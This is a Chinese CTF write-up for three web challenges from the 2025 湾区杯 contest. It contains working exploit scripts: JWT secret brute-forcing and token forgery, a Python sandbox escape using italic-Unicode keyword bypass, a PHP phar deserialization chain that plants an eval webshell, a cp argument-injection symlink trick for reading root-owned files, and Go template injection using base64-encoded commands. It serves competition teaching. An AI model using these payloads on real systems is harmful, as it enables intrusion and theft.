湾区杯2025-Web全解

ez_python

​ 随便上传一个文件,提示需要管理员权限:

image-20250908173213811

​ 可以看到带有凭证:

image-20250908173243079

​ 是采用的JWT:

image-20250908173328085

​ 尝试伪造,伪造失败有提示:

image-20250908173707283

​ key为@o70xO$0%#qR9#**,最后两位需要爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import jwt
import itertools
import string
def crack_key():
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

prefix = "@o70xO$0%#qR9#"

charset = string.ascii_letters + string.digits

for suffix in itertools.product(charset, repeat=2):
candidate = prefix + ''.join(suffix)
try:
decoded = jwt.decode(
token,
key=candidate,
algorithms=["HS256"],
options={"verify_exp": False, "verify_signature": True}
)
return candidate
except jwt.InvalidTokenError:
pass
except Exception as e:
pass
return None

if __name__ == "__main__":
key = crack_key()
print(key)
# @o70xO$0%#qR9#m0

​ 伪造凭证即可:

image-20250908174050086

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJSIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU3MzI0NDMzfQ.gTiXJQsaTSeHN7a1xQdf5_DS0z1gy-yla0ddAL_2U4I

image-20250908174120351

​ 可以看到只返回报错信息,正常执行只会返回run

​ 主动抛出错误即可回显:

image-20250908174300523

​ 接下来就是经典沙箱逃逸问题了

​ 尝试直接open("/flag","r").read()失败,要么是flag文件不叫这个名字,要么就是得rce

​ 简单测试可以发现,过滤了eval__importossubprocess等,最简单方便的就是用斜体字绕过,参考聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园,生成网站Italic Text Generator (𝘤𝘰𝘱𝘺 𝘢𝘯𝘥 𝘱𝘢𝘴𝘵𝘦) ― LingoJam

​ 原payload:

1
2
a = __import__("subprocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout
raise ValueError(a)

​ 最终payload:

1
2
a = __imp𝘰rt__("subpr"+"ocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout
raise ValueError(a)

​ 完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import jwt
import itertools
import string

# 目标 URL
url = "http://web-7ab76b89ee.challenge.xctf.org.cn:80/sandbox"

def rce():
# 请求头(不要包含 Content-Type,requests 会自动生成正确的 boundary)
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJSIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU3MzE0Njc3fQ.QAabV6Lcei_UFj2BsZLJKPn4jwvwby2uVjUfHyG-uSg"
}

code = """
a = __imp𝘰rt__("subpr"+"ocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout
raise ValueError(a)
"""

files = {
'codefile': ('evil.py', code, 'text/x-python'),
'mode': (None, 'python')
}


try:
response = requests.post(url, headers=headers, files=files, timeout=10)

print("Status Code:", response.status_code)
print("Response Body:\n", response.text)

except requests.exceptions.RequestException as e:
print("ERROR: ", e)

def crack_key():
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

prefix = "@o70xO$0%#qR9#"

charset = string.ascii_letters + string.digits

for suffix in itertools.product(charset, repeat=2):
candidate = prefix + ''.join(suffix)
try:
decoded = jwt.decode(
token,
key=candidate,
algorithms=["HS256"],
options={"verify_exp": False, "verify_signature": True}
)
return candidate
except jwt.InvalidTokenError:
pass
except Exception as e:
pass
return None

if __name__== "__main__":
# key = crack_key()
# print("Cracked Key:", key)
# # @o70xO$0%#qR9#m0
rce()

image-20250908175224981

​ 补充题目源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from flask import Flask, request, jsonify, render_template_string
import jwt
import asyncio
import yaml
import os

app = Flask(__name__)

JWT_SECRET = "@o70xO$0%#qR9#m0"
JWT_ALGO = "HS256"

FORBIDDEN = ['__', 'import', 'os', 'eval', 'exec', 'open', 'read', 'write', 'system', 'subprocess', 'communicate', 'Popen', 'decode', "\\"]

HTML_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<title>Vault</title>
<style>
body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; }
#user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; }
#sandbox-container { margin-top: 30px; }
select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; }
#result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; }
button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
button:hover { background-color: #45a049; }
input[type="file"] { display: block; margin: 10px auto; }
</style>
</head>
<body>
<div id="user-info">Loading user info...</div>
<div id="sandbox-container">
<select id="mode">
<option value="yaml" selected>YAML</option>
<option value="python">Python</option>
</select>
<br>
<input type="file" id="codefile">
<br>
<button onclick="runCode()">▶ Execute from File</button>
<pre id="result">Waiting for output...</pre>
</div>
<script>
let token = "";
fetch("/auth")
.then(res => res.json())
.then(data => {
token = data.token;
const payload = JSON.parse(atob(token.split('.')[1]));
document.getElementById("user-info").innerHTML =
"<span style='color:#444'>👤 " + payload.username + "</span> | " +
"<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
});

function runCode() {
const fileInput = document.getElementById('codefile');
const mode = document.getElementById("mode").value;

if (fileInput.files.length === 0) {
document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
return;
}
const file = fileInput.files[0];

const formData = new FormData();
formData.append('codefile', file);
formData.append('mode', mode);

fetch("/sandbox", {
method: "POST",
headers: {
"Authorization": "Bearer " + token
},
body: formData
})
.then(res => res.json())
.then(data => {
document.getElementById("result").textContent = JSON.stringify(data, null, 2);
});
}
</script>
</body>
</html>
'''

@app.route('/')
def index():
return render_template_string(HTML_PAGE)

@app.route('/auth')
def auth():
token = jwt.encode({'username': 'guest', 'role': 'user'}, JWT_SECRET, algorithm=JWT_ALGO)
if isinstance(token, bytes):
token = token.decode()

return jsonify({'token': token})

def is_code_safe(code: str) -> bool:
return not any(word in code for word in FORBIDDEN)

@app.route('/sandbox', methods=['POST'])
def sandbox():
auth_header = request.headers.get('Authorization', '')
if not auth_header.startswith('Bearer '):
return jsonify({'error': 'Invalid token format'}), 401
token = auth_header.replace('Bearer ', '')
if 'codefile' not in request.files:
return jsonify({'error': 'No file part in the request'}), 400

file = request.files['codefile']
if file.filename == '':
return jsonify({'error': 'No file selected'}), 400

mode = request.form.get('mode', 'python')
try:
code = file.read().decode('utf-8')
except Exception as e:
return jsonify({'error': f'Could not read or decode file: {e}'}), 400

if not all([token, code, mode]):
return jsonify({'error': 'Token, code, or mode is empty'}), 400

try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGO])
except Exception as e:
partial_key = JWT_SECRET[:-2]
return {
'error': 'JWT Decode Failed. Key Hint',
'hint': f'Key starts with "{partial_key}**". The 2 missing chars are alphanumeric (letters and numbers).'
}, 500

if payload.get('role') != 'admin':
return {'error': 'Permission Denied: admin only'}, 403

if mode == 'python':
if not is_code_safe(code):
return {'error': 'forbidden keyword detected'}, 400
try:
scope = {}
exec(code, scope)
result = scope['run']()
return {'result': result}
except Exception as e:
return {'error': str(e)}, 500

elif mode == 'yaml':
try:
obj = yaml.load(code, Loader=yaml.UnsafeLoader)
return {'result': str(obj)}
except Exception as e:
return {'error': str(e)}, 500

return {'error': 'invalid mode'}, 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

easy_readfile

​ 访问得到题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class Coral{
public $pivot;

public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}

class Nimbus{
public $handle;
public $ctor;

public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}

class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}

class Acheron {
public $mode;

public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

?>

​ 很明显可以注意到Acheron类中可以通过file_put_contents写入文件,还可以通过include包含文件,只不过经过了waf过滤,常规文件包含的php://data://等无法使用,不过.phar后缀倒是提醒了可以利用phar://伪协议。

​ 不过对于一个普通的phar利用文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test{
public $var;
}

$phar = new Phar("aaa.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("foo.txt", "bar"); //test为内容test.txt为要压缩的文件(可以不存在)
//签名自动计算
$phar->stopBuffering();
?>

image-20250908202320281

​ 可以看到是存在__HALT_COMPILER字符串的,会被waf掉,我们可以通过将phar包压缩来绕过。压缩后不会并影响解析,同时可以规避掉waf字符。

​ 生成一个没有__HALT_COMPILER的phar包:

1
2
3
4
5
6
7
8
9
10
11
<?php
$phar = new Phar('exp.phar');
$phar->setStub('<?php
eval($_REQUEST["cmd"]);
__HALT_COMPILER(); ?>');
$phar->addFromString('nothing','OK');

$gz = gzopen("exp.phar.gz", 'wb');
gzwrite($gz, file_get_contents('exp.phar'));
gzclose($gz);
?>

image-20250908202815743

​ 激活Acheron写模式:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Acheron {
public $mode;
}

$exp = new Acheron();
$exp->mode = "r";

echo serialize($exp);
# O:7:"Acheron":1:{s:4:"mode";s:1:"r";}
?>

​ 上传phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://web-efc15a3e32.challenge.xctf.org.cn/"

def upload():
post_data = {
"1": "O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"w\";}",
"0": open("./exp.phar.gz", "rb").read()
}

response = requests.post(url, data=post_data)
print(response.text)

if __name__ == "__main__":
upload()

image-20250908203132842

1
/tmp/0a242c6d7a066440811bedd706758c48.phar

​ 再换成读模式包含phar文件写入木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://web-efc15a3e32.challenge.xctf.org.cn/"

def upload():
post_data = {
"1": "O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"w\";}",
"0": open("./exp.phar.gz", "rb").read()
}

response = requests.post(url, data=post_data)
print(response.text)

def rce(file_name, cmd):
post_data = {
"1": "O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"r\";}",
"0": file_name,
"cmd": cmd
}

response = requests.post(url, data=post_data)
print(response.text)

if __name__ == "__main__":
#upload()
rce("/tmp/0a242c6d7a066440811bedd706758c48.phar", "system('echo \"<?php eval(\$_REQUEST[666]);?>\" > /var/www/html/1.php');")

​ 蚁剑连接尝试读取flag,但是权限不足:

image-20250908203824620

​ 但是注意到下面的几个脚本:

​ run.sh:

1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
done

​ 注意到这里有重新赋权的操作,而该脚本由root用户执行,如果flag文件权限为755那么就可以读取了

​ 这里可能会想到使用软链接,将/flag软链接到/var/www/html/flag,这样在备份/var/www/html时,就会连flag一起备份走,并且重新赋权,但是在实际操作的时候可以发现,由于cp使用了-P参数,实际上备份的是这个软链接本身而非其指向的文件

​ 简单查一下cp的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
ubuntu@Window:~$ cp --help
Usage: cp [OPTION]... [-T] SOURCE DEST
or: cp [OPTION]... SOURCE... DIRECTORY
or: cp [OPTION]... -t DIRECTORY SOURCE...
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

Mandatory arguments to long options are mandatory for short options too.
-a, --archive same as -dR --preserve=all
--attributes-only don't copy the file data, just the attributes
--backup[=CONTROL] make a backup of each existing destination file
-b like --backup but does not accept an argument
--copy-contents copy contents of special files when recursive
-d same as --no-dereference --preserve=links
-f, --force if an existing destination file cannot be
opened, remove it and try again (this option
is ignored when the -n option is also used)
-i, --interactive prompt before overwrite (overrides a previous -n
option)
-H follow command-line symbolic links in SOURCE
-l, --link hard link files instead of copying
-L, --dereference always follow symbolic links in SOURCE
-n, --no-clobber do not overwrite an existing file (overrides
a previous -i option)
-P, --no-dereference never follow symbolic links in SOURCE
-p same as --preserve=mode,ownership,timestamps
--preserve[=ATTR_LIST] preserve the specified attributes (default:
mode,ownership,timestamps), if possible
additional attributes: context, links, xattr,
all
--no-preserve=ATTR_LIST don't preserve the specified attributes
--parents use full source file name under DIRECTORY
-R, -r, --recursive copy directories recursively
--reflink[=WHEN] control clone/CoW copies. See below
--remove-destination remove each existing destination file before
attempting to open it (contrast with --force)
--sparse=WHEN control creation of sparse files. See below
--strip-trailing-slashes remove any trailing slashes from each SOURCE
argument
-s, --symbolic-link make symbolic links instead of copying
-S, --suffix=SUFFIX override the usual backup suffix
-t, --target-directory=DIRECTORY copy all SOURCE arguments into DIRECTORY
-T, --no-target-directory treat DEST as a normal file
-u, --update copy only when the SOURCE file is newer
than the destination file or when the
destination file is missing
-v, --verbose explain what is being done
-x, --one-file-system stay on this file system
-Z set SELinux security context of destination
file to default type
--context[=CTX] like -Z, or if CTX is specified then set the
SELinux or SMACK security context to CTX
--help display this help and exit
--version output version information and exit

​ 如果用-H参数就可以跟随软链接了!这里用到了一个awd中常用的小技巧,如果给一个文件名命名为-开头的,例如-123,那么实际上它会被当作参数,在awd中给木马取名为-muma.php,别人在尝试使用rm删除时,-muma.php会被当作参数而不是文件名,进而无法删除

​ 在此题中,执行的是cp -P * /var/www/html/backup/,如果当前目录下有以-开头的文件名,就会被解析为参数,达到一种参数注入的效果,具体为:

image-20250908220354007

​ 实际上就是:

1
2
3
4
5
6
7
8
cd /var/www/html
# 用于参数注入的文件
echo "" > "-H"
# 构建软连接
ln -s /flag flag
# 等待run.sh脚本运行
# 读取flag
cat /var/www/html/backup/flag
1
flag{me2c2EmvfZAomZb4m6vYmxPpnNblJS6O}

ssti

​ 这个题目的注入点非常好找,就是/api?template=xxx

​ 但是和传统ssti有些不同的是,{{7}}返回7,而{{7*7}}返回{{7*7}},这一点起初让我很疑惑,后来意识到,这应当不是经常见到的python的ssti系列,后来我想了之前看到过的一篇go的sstiGo SSTI初探 | tyskillのBlog

​ 盲测一下:

1
/api?template={{exec%20"id"}}

image-20250908222307880

​ 尝试读flag:

image-20250908222332474

​ 不行了,看看环境变量:

image-20250908222447315

​ 是go环境,尝试读一下代码:

​ cat读取失败,使用tacimage-20250908222558767

​ 题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main

import (
"bytes"
"encoding/base64"
"fmt"
"log"
"net/http"
"os/exec"
"regexp"
"runtime"
"strings"
"text/template"
)

func execCommand(command string) string {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/c", command)
} else {
cmd = exec.Command("bash", "-c", command)
}

var out bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &stderr

err := cmd.Run()
if err != nil {
if stderr.Len() > 0 {
return fmt.Sprintf("命令执行错误: %s", stderr.String())
}
return fmt.Sprintf("执行失败: %v", err)
}
return out.String()
}

func b64Decode(encoded string) string {
decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
if err != nil {
return "error"
}
return string(decodedBytes)
}

func aWAF(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api" {
next.ServeHTTP(w, r)
return
}

query := r.URL.Query().Get("template")
if query == "" {
next.ServeHTTP(w, r)
return
}

blacklist := []string{"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd", "\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl", "bash", "sh", "python", "perl", "ruby", "system", "eval", "less", "more", "find", "grep", "awk", "sed", "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker", "kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|", ";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\", "\\^", "\\$", "!", "@", "#", "&"}
escaped := make([]string, len(blacklist))
for i, item := range blacklist {
escaped[i] = "\\b" + item + "\\b"
}
wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))

if wafRegex.MatchString(query) {
// log.Printf("拦截请求: %s", wafRegex.FindAllString(query, -1))
http.Error(w, query, 200)
return
}

next.ServeHTTP(w, r)
})
}

func apiHandler(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("template")
if query == "" {
http.Error(w, "需要template参数", http.StatusBadRequest)
return
}

funcMap := template.FuncMap{
"exec": execCommand,
"B64Decode": b64Decode,
}

tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
if err != nil {
http.Error(w, query, http.StatusAccepted)
return
}

var buf bytes.Buffer
if err := tmpl.Execute(&buf, funcMap); err != nil {
http.Error(w, query, http.StatusAccepted)
return
}

w.Write(buf.Bytes())
}

func rootHandler(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" {
http.NotFound(w, r)
return
}

http.ServeFile(w, r, "index.html")
}

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", rootHandler)
mux.HandleFunc("/api", apiHandler)

log.Println("服务器启动在 :80")
log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
}

​ 过滤很多,但是专门还留了b64Decode函数,那么将pyload进行base64编码后发送即可

1
/api?template={{exec (B64Decode "bHMgLw==")}}

image-20250908222913146

1
/api?template={{exec (B64Decode "Y2F0IC9mbGFn")}}

image-20250908222937912